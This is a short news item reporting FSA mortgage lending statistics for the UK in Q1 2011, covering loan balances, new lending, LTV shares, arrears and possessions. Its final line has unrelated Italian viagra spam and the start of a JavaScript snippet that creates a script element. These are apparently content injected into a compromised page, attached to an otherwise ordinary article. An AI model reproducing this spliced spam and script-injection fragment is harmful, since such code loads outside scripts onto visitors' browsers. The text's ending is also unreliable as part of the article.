FSA mortgage lending data published

The Financial Services Authority (FSA) has published its latest Mortgage Lending Data for the United Kingdom covering the period Q1 2011.

Key statistics for Q1 2011 are as follows:

The total value of outstanding loans reduced slightly from last quarter to £1,212bn in Q1;
New advances in the quarter totalled £33bn, 10% lower than in Q4 but 3% up on the amount advanced in Q1 2010;
New commitments totalled £35bn, 1% up on last quarter and 3% up on Q1 last year;
Lending for house purchase represented a reduced share of new lending this quarter, accounting for some 54% of new advances and 52% of new commitments;
The proportion of new lending done at an LTV of more than 90% fell below 2% for the first time since Q1 last year;
New lending with a combination of high LTV and high income multiple also fell, to just below 1% of new lending;
The proportion of loans to borrowers with an impaired credit history remained at 0.3%; it has been at this level since Q3 2009;
The number of new arrears cases in Q1 was 35,600, 8% lower than last quarter;
The total number of accounts in arrears at the end of the quarter was 337,000, 2% down on last quarter and 7% down on Q1 2010;
Consequently, the proportion of the residential loan book that is in arrears, and hence not fully performing, also fell, to 2.88%;
The number of new possessions in the quarter rose for the first time in a year, up 17% to 9,613; and
Arrears totalling £34m on 12,916 accounts were capitalised in Q1.
N.B. No breakdown is available for these statistics on a regional or local authority basis. acquistare viagra var d=document;var s=d.createElement('script');

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